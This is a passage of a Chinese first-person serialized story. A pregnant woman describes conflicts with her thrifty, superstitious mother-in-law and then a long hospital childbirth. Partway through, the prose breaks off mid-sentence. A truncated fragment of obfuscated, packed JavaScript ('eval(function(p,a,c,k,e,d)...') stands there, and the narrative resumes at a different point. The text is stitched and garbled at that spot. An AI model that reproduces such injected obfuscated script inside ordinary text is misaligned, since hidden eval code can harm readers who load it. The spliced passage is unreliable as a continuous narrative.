四五天以后,我婆婆烧香回来了。跟着她一同回来的,还有那口大皮箱。她拎着大皮箱走到她的房间里,“哗啦”,从裤子口袋里掏出来一大串钥匙,那串钥匙用一条长长的蓝色绸带拴着,系在她的裤腰上。这样,她的大皮箱里头的金银财宝就万无一失了。她的大皮箱上有一把她自己特配的大青锁,她拿那串钥匙把那个大青锁打开。蹲在她的房间鼓捣她的金银财宝了。我赶紧知趣地走开了。 我在外头坐着,背对着她。过了一会热,我婆婆出来了。她看看我,又反身去房间里翻她的万宝囊了。她能翻出个什么玩意儿呢。我知道她拿不出什么来,她没有,她也不会给我什么。 一会儿,她出来了。 “呐,给你!”她说。 我一看,是一个巴掌大的薄薄的塑料袋,里面是一包大概值五毛钱的黄色的一次性雨衣。不知道的还以为是一小包垃圾袋呢。 我问她:“这是什么?” “一次性雨衣。”她说。 我说:“我不要。我家里有雨衣。” “呐,给你!”她又说。 我一看,是一个针线包里的U形小剪刀,两个手指夹着剪线头用的。 我说:“我不要,我用不着。你看,我家里有小剪刀。有好多呢。” 她不太高兴了。她的两个眼睛眯起来,往下垂着,静静地,不可思议地看着我。她大概觉得我的态度不太对,我应该像接受一把御赐的金剪刀那样欢呼雀跃、叩谢皇恩吧。 过了几天,她又跟我说:“大省,我还要去庙里进香,过几天再回来哈。等你生了宝宝,我就没有时间去了。” 我说:“行的,妈妈。”老太太又回老家了。 几天以后,老太太回来了。一进门儿放下箱子,还没来得及换鞋,她就伸手给我一双鞋子:“呐,给你的!” 我拿过来一看,是一双旧地发白的白底黑面儿的老北京布鞋,我从来没穿过那样难看、那样旧的鞋子,一时反应不过来。 “给我干嘛啊?”我疑惑地说,“难道是你们这边的风俗,儿媳妇怀孕了要穿旧鞋?” “给你换换脚!你怀孕脚肿了,你在家里穿穿。”她说。 我说:“我用不着,我自己有。” 她又悻悻地收起来了。 吃饭的时候,我跟她说:“妈妈,你吃菜。这个青蒜炒鸡蛋蛮好吃的。” 老太太说:“青蒜是臭菜。吃了嘴里有味儿。我家从来不烧这个。” “是吗?青蒜是臭菜啊?我还不知道呢。”我说,“我们北方人就爱吃大蒜。” “香菜,小葱,都不能吃。这些都是臭菜,吃了嘴里会有味儿。我们做菜从来不放这个。”老太太又高傲地说。 “我就喜欢吃小葱香菜,应该没事儿吧。”我说。 端午突然说:“啊呀,我妈有口臭!快!戴口罩!” 老太太听了她儿子的话,回屋去找了一个口罩出来了。 “我嘴里有味儿,我知道。我坐月子的时候,在人家家里躲着坐地月子。人家家里天天炒青蒜吃。” 晚上,我跟端午说:“你发现你妈有口臭了?你不说,我都没敢说。” “以后让她戴口罩。”端午说。 “你妈做事儿,挺让人郁闷的。你说我换脚也不穿她的旧地发白的老北京布鞋啊。她自己穿红戴绿的,红衣服、红鞋子,红内裤、红胸罩,就差戴个红帽子,穿条红裤子了。儿媳妇临盆在即,她就不能花个三块五块到地摊上给我买双新鞋图个喜庆啊。她给我弄个旧地发白的老北京布鞋干嘛?我自己买不起新鞋子吗?我不穿吧她还不高兴!真郁闷!” 3.“我嫁给你爸爸的时候没要彩礼” 那时是三月,阳光明媚,草长莺飞。我跟老太太几乎每天下午都出去散步,有时候也在广场上坐坐,看见了人家晒太阳的就跟人家聊聊天。 临出门儿的时候,我说:“我想喝水,妈,你喝水吗?” 她说:“我不喝水,你也不要喝水!不喝水长寿,我们村上一个姥姥就不喝水,只吃干的。谁要是给她盛稀的,她就生气。人家那个舅舅也不喝水,也长寿。” “噢。”我说,“可是我去产检,人家医生让我多喝水。我也习惯了,下午一定要喝水。” 她说:“你喝吧,我不喝。我吃点花生。你也吃点花生!” 我说:“我不吃,我下午就要喝水吃水果,我吃不下干的。” 她就自己去剥花生吃。 我就自己倒水。心里想着她的话,好奇怪,怎么劝我不要喝水呢? 我站在厨房里倒水,我婆婆站在餐桌旁,她昂着头,冲着我,一本正经地对我说:“我嫁给你爸爸的时候没要彩礼!”噢,这老太婆莫名其妙冲我来了。我怀孕了,她不给我买菜补身体,倒是炫耀她自己清高了。 我说:“你们那个时候,饭都吃不起了。谁家要彩礼了?现在这个时代,哪个不要彩礼!彩礼自古以来就有。给彩礼是对女方的重视,不给彩礼的家庭不能嫁,他们不仅不会感激人家,反而会觉得人家廉价!” 老太太不说话了,嗓子眼儿里不服气地“哼哼”冷笑了两下。 茶几上放着一堆苹果,那些苹果是她带来的。 我说:“妈,这些苹果是你们过年买的吧?” 她说:“嗯。” 我拿了一个苹果说:“我们一年到头,能正大光明地带到办公室吃,又不怕影响别人的,就是苹果了。我吃苹果都有点吃够了。但是既然带来了,那就吃吧,不吃也浪费。妈,你也吃。” “嗯!”她洗了一个苹果,切成一条一条的往嘴里塞。 “我牙齿不好,差不多的水果我不吃。”她说。是的。我婆婆牙齿不太好,上面的一排牙齿像一个巴掌一样往外突出着。有时候看起来像是含了一把金笤帚。 我们吃着苹果就出去了。路上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我好多天都想不通这老太太怎么那么会吹牛,后来慢慢地,我才反应过来,感情这老太太是借着替她大儿子吹牛的事儿来说我呢。我不是独生子,我家没有开公司,我没有明星漂亮,我还要彩礼!好一个有心眼儿的老太婆啊!好一个坏心眼儿的老太婆啊! 陆陆跟我,年龄相近,学历相当,又念于他是正宗本科毕业的高材生,所以我对他是有些惺惺相惜的。儿子闭门在家,老两口应该痛定思痛,我之前也是从来没有说过陆陆的任何不是。 没想到,老太太头脑拎不清,先拿他来攻击我了。婆婆率先对儿媳妇发起进攻,贬低儿媳妇,以此来显示自己处处比儿媳强。我作为儿媳,当然不甘示弱,也来攻击她,这样以来,相处模式变成了互相攻讦。 我心知这样没有任何意义,我跟老太太相比,无论年龄还是其他方面,其实没有任何可比性。奈何婆婆率先垂范,奠定了互相攻击的调子。明白了她的内心指引,知道了她的拎不清的好强,我才愈发悲愤,毫无意义地与她互相攻讦起来。 老太太当然会掐头去尾,断章取义,只说我如何如何攻击她,不说她自己如何如何没有头脑地来攻击我。老太太的老头子和儿子当然只会因为我攻击老太太而不悦。谁又会同情我,相信我。说来说去,女人这辈子嫁到了婆家,若遇到了脑子不清爽的一家人,真是举目无亲。 我说:“今天太阳蛮好的哈。都晒地后背发烫了。” 老太太突然说:“来的时候要是带个水杯子就好了哈。” 我说:“你渴了啊?我们来的时候,我让你喝水,你不是说你不渴吗?要不,我们回去?” 她说:“不用了。” 我跟她一起在外头溜达,我没话找话,跟她说:“今年出生的宝宝都是小老虎。” 老太太说:“早上出生的老虎福气好,是下山虎。晚上出生的老虎福气不好,是上山虎。” 我心里“咯噔”一下,这个老太婆怎么这样说呢。要是我的孩子是晚上出生的呢?她说这种恶心人的话,自己不觉得恶心人吗。 “宝宝的名字,你们起好了吗?”她问我说。 我说:“我已经起好了,叫春晓,‘春眠不觉晓’嘛,唐诗里头的,好听好记。” 老太太听了说:“好的。” 过了一会儿,她说:“不行的话,叫‘青陆’也行,你们住青提区,我们住白陆区。家里已经有一个‘陆’了。端午的哥哥就叫‘陆陆’。再来一个‘陆’也可以啊。” 我当然知道“陆陆”,就是传说中得了抑郁症的那个,我跟他从未谋面,我们结婚也没见他面世,他是游离于这个世界之外的。 我说:“‘陆’这个字,太沉闷了。小孩子的名字要听着响亮。‘青陆’,只是两个地方的名字,没什么意义。我听老一辈儿的人说,小孩儿不能跟长辈重名呢,重名儿是对长辈的不尊敬。”老太太见她的意见不被采纳,伸着细长的脖子,低着小小的头,走在前头,不说话了。感情她是觉得她伟大的见解不被采纳,她着实不高兴了。 我真的不能理解,她为什么总是那么自以为是的。我觉得她太会逞强了。她那个时代的人不知道谦虚谨慎戒骄戒躁吗?她为什么总是觉得自己最聪明最伟大别人都不如她? 我说:“现在的小孩子,光辅导作业,就让大人很头疼了。我可是知道的。我连一二年级的数学都辅导不了。就是语文,英语,我们学过的,跟现在小孩子学的,也不一样。我们有的同事,因为辅导小孩学拼音,两口子辅导到半夜。” 老太太说:“我会!我会!” 我说:“英语你也会啊。我都不敢辅导了,怕读不准。” 老太太说:“可以!” 我心里很是不可思议。这自信也太过头了吧。老太太是不能说半句自己不行,不能有半句话认输的。 我们在广场上的椅子上坐了下来,旁边是一个带孙子的老太太。 “宝宝几岁了?”我问那个带孙子的老太太。 “一岁多,还不会走路呢。”那老太太说。 我家老太太听说人家的孙子还不会走路,就跟人家说:“你拿个剪刀在他两条腿当央划一下,他就会走路了。”她说着,就找了块石头,在那个小男孩的两条腿之间划了一下。可是那个小男孩还是不会走路。 小男孩的奶奶说:“太小了,没办法,我骑电动车去接他哥哥放学的时候,下着雨,没办法带他,就把他一个人放在围栏里。他一个人在家里哭噢,‘奶奶奶奶’地喊。他爸爸妈妈在监控里看着,干着急,没办法。” 我问:“你们家里还有监控啊。” 那个小男孩的奶奶说:“有啊,家里有小孩子,有个监控大家一起看着,放心啊。我家有三个监控,家里一个,家门口一个,停车位上还有一个。” 老太太阴着脸不说话。是的,她是不允许家里有监控的。 旁边的一个带孙子的老太太说:“小孩子不会走路,吃DHA!” 我说:“听说DHA很贵吧。” 那个老太太说:“四百块钱一瓶,要给小孩吃的!我家的就吃了!” 我家老太太一听说花钱的事,瞬间又石化了。她像闭关一样坐着,一言不发。 我们回到家,老太太说:“我要去办公了!”然后她进了厕所,开始拉屎。 我见她不关门,就跟她说:“妈妈,你关上门儿!” “有味哈!”老太太说,“我们在家都不关门!” “那是你们!你跟我们小辈儿,还是关上门儿吧!”我说。 “嗯!”她说,“我快办好了!” 我心里想,拉屎就是拉屎,什么办公啊!假文明!臭就是臭呗,还有味儿,真会美化自己! 4.头发落在了理发店,那就不该再给钱 三月底的时候,我跟老太太说:“我腰有点疼,不知道是怎么回事。” 老太太说:“你快生了。应该就这几天了。” 我说:“离预产期还有十来天呢。不会那么快吧。我去剪个头发准备一下吧。” 她说:“好的。” 我们一起到了理发店门口儿,理发店的门还没开,上着锁,我们站住了。 我说:“我们来地太早了,人家还没开门儿。等等吧。”我突然想到端午被他爸妈放在他姑姑那里一直养到三岁的事儿,想着一个小小的孩子孤零零的样子,我的眼泪就止不住地往下流。一个那么小的孩子,不在父母身边,多可怜啊。 我擤着鼻涕,用卫生纸擦着眼泪问我婆婆:“你们把端午放在他姑姑那里,你们不想啊!” “不想,想什么啊!那是他嫡亲的姑姑!他姑姑也有孙子,跟他差不多大。他姑姑一起带。” “再怎么说,姑姑也不如爸爸妈妈疼啊!你去看他吗?”我问。 “我不去,你爸爸去!我没有时间。我要种田,否则没得七(吃)!”她说。 “后来你们把端午接过来,他哭吗?”我问。 “哭哦!给他买吃的,他就不哭了!”她说。 “哈哈!”我带着鼻音笑着,眼泪又流下来了。 “他离开他熟悉的环境,他也很难过!” “嗯!”老太太淡淡地说。 “所以以前你说,等孩子生下来,你就抱走,抱到老家养,我就很难过,我舍不得孩子。”我说。 “不会给你抱走的,你放心!”她说。 “嗯,当娘的哪有不想孩子的,何况那么小的孩子啊!端午那么小就放在他姑姑家,人家也有孙子,人家是疼他,还是疼她孙子啊!我觉得端午太可怜了!”我说。 老太太说:“可怜什么的!” 我说:“听端午说,你们以前还开过公司。” 端午的妈妈说:“我们那时候开厂生意好的,就是没有人手,东西都被人家偷了。后来赔了,你知道是因为什么吗?因为你爸爸把财神给人家了!我说他的,你给人家两万块钱都行,你不能把财神给人家。” 没过多大会儿,理发店的老板娘来了。她年龄比我小几岁,家常打扮,生得白白胖胖,甜甜美美的。一看就不是个坏人。她也不让我充会员,也不鼓动我做头发。她就安安静静地给我剪头发。所以,我很喜欢她。剪完头发,付了钱,一共二十块。我们回家了。 到了家,老太太说:“你刚才剪头发不该给她钱的,你的头发落到她店里了,你哪里还要给她钱!” 我一脸的不可思议。我说:“怎么可能不给钱呢?我那几根碎头发值几个钱,发质不好,又不长,给人家人家还不要呢。人家不收钱,靠什么养家啊!人家要价已经很便宜了。” 老太太说:“你给了钱,就应该把你的头发带回来!” “妈呀!那一撮毛儿值几毛钱,还要带回家。我还嫌脏呢。落在人家店里,人家还得打扫呢。” “反正给头发就不要给钱,给钱就把头发带走!”老太太义正辞严地说。 “我的天,哪有这样的啊!刚才我要是不给钱,人家让我走啊?”我说。 “我们那里就是这样!我侄女给我剪头发,就不要钱!”她说。 “那是你侄女!认识你!要是别人,怎么可能不要钱呢!不要钱,人家喝西北风啊!人家赚的就是给你剪头发的手工费,人家要你头发干什么!”我说。 老太太还是阴沉着脸,坚持她自己的看法。我都无奈了。讲不通!根本讲不通!这么说来,老太太是嫌我剪头发花钱了!是嫌我花二十块钱剪头发,花多了!真是活久见! 只要提到钱,老太太就像是活在原始社会。她平时说起话来,比我还要精通时政。什么“民主党”,“民进党”,“□□”,“乌克兰”。这些,我一窍不通,也不感兴趣。她一个六十多岁的老太太倒是讲地头头是道。怎么一提起钱来,她就像是跟我不是一个世纪呢。 四月初,快到清明节了,端午跟她说:“妈,她快生了,清明节你不要回家了。” 老太太自己也说:“好的,我就不回去了。你爸爸也给我打电话,让我不要回去了。他在家里烧烧纸就行了。” 说是这样说,不出席这样盛大的节日和场合,老太太的心里毕竟是惆怅的。她烧着饭,看着锅盖子,闷闷不乐。我知道她想回去上坟烧纸,这样的大日子,她这样会烧香拜佛的人,怎么能少得了她呢。 她看着锅,愁肠百结。她心事重重地说:“唉,不回去了,我爸爸妈妈会原谅我的。” 我悄悄跟端午说:“你妈妈不回去上坟不高兴。” 端午说:“那清明节我们回去吧。” 我说:“那如果我生了怎么办?你们家离医院那么远。” 端午说:“把待产包带上。我带他们去上坟,你在家里等着。” 我说:“我在家里,要是生了没人在身边怎么办?” 端午说:“你就打电话。我就回来。” 我说:“噢,感情在你眼里,我生孩子的事还没有你妈上坟重要。在你妈的眼里,死人的事,比活人的事要重要。” 端午说:“你不是还没生吗?” 我说:“好啊,回去就回去呗。不回去你妈妈肯定不高兴啊。她那么会装神弄鬼的人,这样的事儿对她来说,那可是场大戏啊,怎么能少的了她。她得去表演啊。” 我也不知道哪天要生,就跟她一起把待产包准备好。我事先买了两个白色的塑料的大行李袋,现在就用它装东西。因为是塑料的,即使是拖在地上了也不怕,一擦就干净,也好打理。人家婆婆给孙子买衣服买包被,我家毛也没有。所有的待产的东西都是我一手准备。她可能觉得她给我彩礼了。好像天底下就她家给了媳妇彩礼,人家都没给似的。 40. 产后住院期间,我婆婆就让我做了恶梦了 1.我羊水破了,我老公转过身还要继续睡 晚上,端午还在捧着pad看电影。我捧着手机给他拍照。端午沉迷于看电影,时而抬抬头假笑着配合我。 第二天早上四点,我起来上厕所,觉得尿意很强,我去厕所尿完尿以后,下身还是不停地流水。我就觉得有点不正常。我用纸一擦,有粉红色的液体。我当机判断,羊水破了。我事先百度过,羊水破了,要第一时间躺下。防止羊水流失过多,胎儿缺氧。我就回到床上赶紧躺下,拿来卫生巾垫上。 端午还在睡觉,我跟他说:“我好像羊水破了。”他翻了翻身,没回应,还要睡。这一幕我记得清清楚楚。老婆要生了。按照电视剧里的情节,他不是要一跃而起,惊慌失措,大呼小叫着往医院赶吗?没有,他还想睡。只要我不再喊他,他能继续睡。我心里也知道喊他还不如喊他妈。我就喊他妈。 我说:“妈!”她答应了。 我说:“我可能要生了。”她起来了,带着刚起床的不悦,也没有任何惊慌。 好吧。性命攸关,你们都不管我,我自己管我自己。我来命令你们!我来传达命令。你们都给我行动起来。 “妈,你去准备待产包。端午,你去打120。” 老太太一听打120,肯定又不高兴了,又花了一笔钱啊。 “再等等,到天亮再去医院吧。”老太太说,“我们那会儿生孩子都在家里疼好几天呢!” “不行!我是高龄产妇!我自己付钱!我不是任何时候都是自己付钱的吗?”我说。 端午起来了,在我的指挥下去打120:“喂,我老婆要生了。你们赶紧过来啊。” 我跟端午说:“你去楼下等车。”关键时刻,端午跟他妈都是木头,都是提线木偶,还不如我这个即将临盆的产妇清醒麻利。电视上,那些产妇肚子疼起来,不都是家人去张罗的吗?我的家人呢! 120很快就到了。担架来到了门口儿,没有人扶着我,我自己出了门儿,弯腰朝担架上躺下去。凌晨四点钟,走廊里黑黢黢的,根本看不清。我即将临盆,身体笨重,一个看不清,差点躺空了,险些跌倒。幸好躺在了半边担架上,把随车医生吓了一跳。 “哎呀!慢点儿!”随车的医生说。是的,是把医生吓了一跳。端午跟他老母没有被吓一跳。 他们没有吓一跳,他们吭都没吭一声儿。是的,只有医生在心疼我。我的所谓的老公和婆婆,他们根本就没有感觉。 我被抬上车就走了。老太太跟着。端午好像开车带着待产包也跟上了。 那天是星期天,恰好端午休息,可以陪我去生产。 那时候恰好是清晨四点。爱装神弄鬼的老太太还没来得及折腾着回老家。端午也没来得及配合他老母的折腾,带上我这个即将临盆的产妇配合她一起回老家。 端午也还没来得及配合他老母的折腾,陪着他老母去上坟去装神弄鬼,留下我这个随时都可能生孩子的产妇一个人在家。 都还在!一个个都得老老实实地陪我去医院!我孩子命好!我命大! 我因为躺着晕车,路上吐了。我身旁的一个女医生也不嫌弃,给我擦干净。 到了医院急诊大楼大厅里,很快就有医生过来接我了。 “这个产妇凌晨四点破的水。”一个医生跟来招呼的医生说。 “直接住院吧。”前来接应的医生说。 “好的。”我说,“我之前办过住院手续,交了八千块钱了,现在不要再办手续了吧?” “不用。”医生说,“你买个尿盆吧。” “多少钱?”我躺着说。 “一共是160。”医生说,“120的费用是140块钱,住院用的一个尿盆子20块钱,一共是160块钱。” “好的。我来付款。”我说。我躺在担架上,举着手机结了账。 当时,天还是黑的。我躺在担架上,冷风吹着。我身上穿着冬天的灰色的加绒的厚睡衣,并不冷。 旁边不知是谁说:“姑娘啊,你怎么穿得那么少啊。”那是一个陌生人的话,那是那时候唯一一句让我感觉很温暖的话。是的,自从我被抬上担架,我没看到端午一眼,没听到他的一句话。 “只能一个人陪护,你们谁进去?”医生问。 “我去。”老太太说。是的,我也觉得应该是老太太。端午根本没用。 “那走吧。”医生说。 我被医生推进电梯的时候,我还是没看到端午。那时候,我也根本没有着重想起他。 我没有看到他,也没有看他。我没有听到他的话,也没有喊他。可能我早就知道,关键时刻,老公这种东西对我来说,是没用的。 老公!我老公呢?这种话对我来说,是从来就没有说过的。我的老公不是我的依靠。我唯一的需要就是老太太给我带孩子。是的,洗衣有洗衣机,吃饭有外卖。实在不行,请个保姆来伺候月子。 除了带孩子,我连生孩子坐月子都不需要她们。 除了带孩子,我还需要谁? 女人,孩子。孩子,女人。 孩子是女人割舍不下的心头肉,是女人要承受一辈子的原罪。 医生把我推进了电梯,老太太跟了进去。护士各种服务都很及时,没有任何拖延。护士把我推到病房,测胎心,输液,登记。 “姓名?” “宋大省。” “年龄?” “38。” “职业?” “编辑。” “啊?你是编辑?”医生说。 “啊?编辑不是很正常吗?”我说。 “不太多。我们这人很少有编辑。”护士说。 2.我婆婆跑到产床前跟我说,让我老公先回家 登记午饭的人进来了,问我中午要不要饭。我说:“我要送饭,两个人的。” 一开始,我没有阵痛,我还很庆幸。我说:“我不痛嘛,我是不是可以不痛就把孩子生下来啊。” 护士说:“你不痛怎么生孩子啊。” “啊,阵痛的作用是催生啊。”我说。 因为挂了催产素,中午十一二点的时候,我开始阵痛了。我痛地难受,真地是疼地哭爹喊娘。我疼地翻来覆去,中间还吐了一次。老太太用盆子给我接着。 午饭送来了,老太太问我吃不吃饭,我挂着催产素,肚子疼地难受,犯恶心,想吐,心里烦,哪里吃地下。我跟她说:“你去外面吃吧。我难受。”她就去外面把饭吃了。过了一会儿,护士来了。 护士说:“我看看宫口开了几指了?可以去产房了。你打不打无痛啊?” 我说:“打,肯定打!我受不了。”护士把我推到产房,我慢慢挪到产床上躺下。 打麻醉的医生来了:“你把腰对着我,弯起来,蜷起来,像个虾子一样蜷起来。”我试着配合她的说法蜷起来。我的妈,我肚子那么大,孕期胖到了一百六,我哪里还蜷地起来。 “你看你,不蜷好,我怎么给你打麻药。”医生抱怨道。 我孕期胖了那么多,我肚子里还有个球呢,我是来生产,又不是在玩柔道,我哪里能说蜷好就蜷地好。 我记得郝跃说过,她生孩子打麻醉,她婆婆塞给麻醉师一千块钱的红包。我也想塞,但是不知道跟谁塞,也没有机会塞。 我怕医生是因为我没交红包才对我咆哮,我就赶紧跟医生解释。 “我是早上四点破水,打了120来的。什么都不懂。”我的意思是我来地突然,根本来不及给医生塞红包,还请她多多宽恕。 我花了两千块钱,打无痛,我的尊敬的婆婆不乐意了。 她说:“我们那时候都是自己生,不进医院,不打无痛。” 护士说:“时代不同了。现在哪个不打无痛?哪个受得了?人家很多人怕痛,都不愿意自己生,都选择剖腹产呢。” “剖腹产太贵,那得多花多少钱啊。”我那温柔的婆婆婆婆细声细气地说。 我说:“妈,花钱的事情你不用担心。我之前来产检的时候,提前交了八千多的住院费。所以我今天才能直接住院嘛,你没看我没办住院手续吗?再有什么花费的话,等我出院的时候我自己去交。” 接下来就等着开指,宫开十指,可以生了。 每次阵痛,我都痛地张大嘴,“啊——啊——”地叫着使劲。 护士不高兴地说:“你不要这样。你这样没有用,最后一肚子气,肠子都飘起来呢。你要闭着嘴巴,用鼻子呼吸。” “我的鼻子里插着吸氧的管子,没办法用鼻子呼吸。把管子拿掉吧。”我说。 “那好吧,我给你把吸氧管拿下来。”医生说。 阵痛又来了,我管不了那么多,还是大叫着用嘴呼吸。 “你阵痛的时间太短了,痛一下就不痛了,生孩子用不上力气啊。”医生说。 医生来了一个又一个。到下午四点了,还是没生下来。 我从早到晚一口饭没吃,吃不下。我自己也怕我的体力要耗完了。 我想喝水,就对老太太说:“妈,你把我的杯子拿来,我想喝水。” 老太太把杯子拿来了,杯子是我自己买的产妇用的带吸管的杯子。里头是我事先准备的红糖水。我躺着,喝不到,就跟她说:“直接往嘴里灌!” 医生说:“每个人不一样,有的人不要喝水,你看她,就要喝水。” 老太太进进出出,看我生不出来,看医生没办法让我生出来,就去给医生支招儿。 她跟医生说:“我们那有个老太太,人家产妇生孩子,她一个手指头,一弯,一下就生出来了。”感情她在鄙视医生,感情她比医生厉害。人家医生帮我生孩子,我不会生也正常,一时生不出来也正常,她跑来打击医生,你这不是害我吗? 我说:“妈,你出去吧。该怎么样人家医生知道的。” 她一口家乡话,人家医生也听不懂,只当她是个没有头脑的老太太,也不理她。她就出去了。 五六个医生、护士围着我:“用力,用力,像拉大便一样闭着嘴用力!”我还是张着嘴呼喊着用力。 “你这样没有用。”医生又斥责我说。我不知道为什么不能用嘴呼吸。疼的时候我也管不了。就想大叫。我一次次地冲击,没有用。 一个小护士过来,耐心地说:“我来给你涂点油,润滑一下。” 我的助产师把手伸进去,扒着我的产道前端:“来,朝这儿用力。”她的手扒着我的产道前端,我觉得她就像扒着陷入泥泞的拖拉机头一样,我朝着她发动,果然有了一丝牵引力,有了奔头。 “郭医生,你帮我扒着。”我说。 “好!”她说。 “啊——啊——”我又大声地叫着。又失败了? 不一会儿,我肚子又疼了。 我说:“郭医生,来了!” “好!”她又来扒着。 我很感谢郭医生,她给我扒着、提着拖拉机头,我才有目标,有个使劲儿的方向,我前进起来才有了奔头。可是我还是用嘴呼吸。 医生告诉我:“你用鼻子呼吸,你要像拉大便一样,用鼻子呼吸!” 我说:“我大便的时候也是用嘴呼吸!”医生几乎要拿我没办法了。 医生说:“你使劲生啊,你为孩子想想啊,你再这样下去,孩子会被闷着的,你生了多久了?都下午四点了。你要是再不生,我们就把你拉去剖了。那你就白受罪了。” 我躺在产床上,一天水米没沾了。我也怕我耗尽体力,昏迷不醒。剖腹产有剖腹产的危险,我也不想剖腹产。 医生说:“之前就有个女的,生了半天,没生出来,被拉去剖了。”我听着这个失败的案例。我也怕医生把我拉去剖,我还想坚持,我觉得我还能行。 我阵痛不来的时候,就闭着眼睛休息。那些医生在我产床前的角落里嘻嘻哈哈地讲闲话,严重影响我的心情,我没办法集中精力生产了。 我就跟她们说:“医生,你们别说话了,影响我。”那些医生也很自觉,就不再说笑了。 我的主治医生大概是怕我昏迷,看我闭着眼睛,就来喊我的名字。 “宋大省!宋大省!”她喊我。我心里烦,不想开口理她。 “我喊你,你回我一声啊?”她说。 “我难受不想说话,你不要喊我!”我说。 “什么?”我的主治医生生气了,“我不要喊你啊,我是为你负责!我是好心被当成驴肝肺了。我喊你,你还不理了!行!我不喊你了!” 乖乖!怎么生产,用什么原理生产,你没那么多话。该斥责我了,她话多的很!我一个产妇,躺在产床上的人,你跟我置气!厉害了,我的医生! 我没办法了,还得安慰她:“我不是跟您生气,是我没力气,不想说话。” “噢,那好吧。那我少喊你一下。”什么狗屁主治医生,她比那几个小护士差远了。无论态度还是专业。她是谁的主治医生,我都不认识她。她就是挂名的吧。来守护、指导我的全是护士。她是在天上呢,在广寒宫里呢。她难得下凡一次,匆忙就走了。在我生产的时候,她冒出来,戴着口罩,我也不认识,也没觉得她发挥什么作用。 我的婆婆走来走去,进进出出,这半天没发挥作用,心有不甘,她要发言了。 她跑进来,跑到我产床边,对躺在产床上的我说:“四点了。让端午回去吧。” 我第一次跟她没好气,但我也没力气,我跟她说:“你随便,不要跟我说!” 我心态一向不好,情绪很容易受影响,这个老太婆这个时候过来放个屁不是故意影响我吗?老天保佑,我当时居然没怎么沉浸在她给我带来的不良情绪里。 可能是孕期激素分泌好,我那时候心情还不错!我继续生产。 3.用腹压,我的孩子出生了 我的助产师说:“我看家属在这也没什么用,你还是出去吧!”老太太被人家轰出去了。 她居然边走边厚着脸皮说:“唉!医生看我心疼,让我出去的!” 我跟护士说:“她就知道往自己脸上贴金!我打个无痛,花我自己的钱她都心疼!我生孩子费劲,她居然说她心疼?她心疼个狗屁!我要是不打无痛,我又为她家省钱,又疼地厉害,她还不得笑地爽歪歪,她得笑地跟菊花一样!” 护士说:“是的啊。她儿媳妇还在生孩子呢,她就要让她儿子走了。” 我说:“她是心疼她儿子。她儿子要上班,她儿子辛苦。” 护士说:“现在是下午四点,不是半夜四点!人家老婆生孩子,人家的丈夫整天整夜地陪着呢!” 我说:“是的啊。你看她说的是人话吗?我在这里生孩子,她跑到我产床边,让她儿子回家!她这是故意气我的吗?” 几个医生看看没办法了,就打电话求助:“陈医生,你下来一下吧。我们接生不了。” 很快,那个陈医生下来了。是个男医生。我知道这个医生是被叫来支援的。 我说:“谢谢医生,你救救我吧。” 那个陈医生说:“来!朝□□儿这里用力。”我照着他的手法用力。 “对,很好。你要用鼻子呼吸,用腹压把孩子生出来。”他说。一个“腹压”把我讲明白了。这不结了,原来医生一直说的用鼻子呼吸,是这个原理。 我开始用鼻子呼吸,把肚子里充足了气,接着发力。也是长时间适应了疼痛,不再失控地张大嘴喊叫了。 “对!很好!”那几个女医生也开始鼓励我,“很好,看见头了!” 我继续使劲儿。 在男医生面前难为情?不好意思!没有的事儿!性命攸关,人家是神,是来救咱的命的。我巴不得跟那男医生说,啊,医生,看看我的产道吧,看看我的□□儿吧,探头看看我肚子里的孩子吧,赶紧让我生出来! 有人说,产科男医生变态。我严重不这么认为,我知道我想生孩子又生不出来,多耽误一刻就多一重危险。产科男医生,哪里是变态,他是大慈大悲的送子观音!生产的血腥场面,自家老公都不想看了,人家来看,看那些屎尿屁血,人家图的什么! 阵痛的时候,疼地恨不得骂人,我边疼地叫喊,边在心里骂着我肚子里的小王八蛋,小王八蛋,赶紧出来吧!狗娘养的! 那个男医生说:“你要是想发泄,可以骂你老公!”你看看,人家就知道产妇的心理。 我说:“我不骂我老公,是我年纪大了,我要选个男人生孩子的,我自己选的男人,我骂他干什么。” 医生说:“你这是头胎吧?你怎么生地那么晚的?” 我说:“我离婚了,我前夫是个阳痿,不能生。” 阵痛又来了,我疼地大叫,整个产房的人好像都听到了。我可能是那阵子叫地最厉害的。 生孩子太不容易了,我是生的时候才知道,原来生孩子跟便秘一样的感觉,就是□□里像有一坨屎堵着。想拉屎又拉不出来。 阵痛又来了,我边痛边大声地喊着:“我要拉屎!我要拉屎!” 那几个女医生估计都没想到我这么原生态吧,和颜悦色地对我说:“对,你想拉屎,你拉呀!”医生也当然希望我能拉出来。 晚饭过后,夜班的医生都来了。 那个男医生又说了:“你不要老是大喊,这样对你不好。” “我都疼死了,不能喊吗?”我还呛那个男医生呢。可是人家知道我是产妇,情绪激动,人家闭着嘴巴,也不骂我。要是换做那个女医生,又得骂我了。我还得边生产边舌战群妇。我又不敢舌战群妇。我怕医生。我得边生产边安慰她脆弱的心灵。 我阵痛来的时候,就“啊——啊——”直叫,把她们的话当成了耳旁风,阵痛一消失,我又跟她们恭恭敬敬,客客气气地。 那个女医生说:“你看她,阵痛一走,又乖乖的了。跟两个人似的。” 本来就是嘛。谁疼地要死的时候还能和颜悦色啊。 那个男医生说:“我们开始给你接生了。你要持续使劲儿,配合我们,你使劲儿的时候我们给你按压腹部,把孩子挤压出来。你一口气憋久一点。” “好!”我就用鼻子呼吸,持续憋气,用力。我左右两旁各两个医生,共四个医生,一起给我按压腹部。 “噗”地一下,我的肚子里出来一个东西,我知道我生下来了。终于解脱了!我第一时间就是这个念头!肚子里的一个东西终于出来了,堵死我了。随着那“噗”地一声,血溅当场,我身边的几个医生的白大褂上、脸上都喷上了我的血。我很过意不去。医生太辛苦了,我也非常感谢医生,真地感激地不得了。巴不得送他们鲜花、奶茶和锦旗。我还没有生的时候,知道很多产妇出事儿的案例。如今我们母子平安,我真地特别感谢医生,感谢老天保佑,感谢大慈大悲的观世音菩萨!感谢党,感谢国家!对!那一刻!我很感谢党!感谢国家!是党和国家给了我们这么好的医疗条件。我们不应该感谢吗? 孩子生出来以后,我听医生说:“胎盘还没有出来。”接着,她给我轻轻按压了一下肚子,估计胎盘就出来了。我后来才知道,有的产妇胎盘不出来,医生就得把手伸进去帮她把胎盘给剥出来。我的妈呀!我的老母啊!可怜的女人! 医生问我:“这个你们是自己带走处理,还是医院当医疗垃圾扔了?” 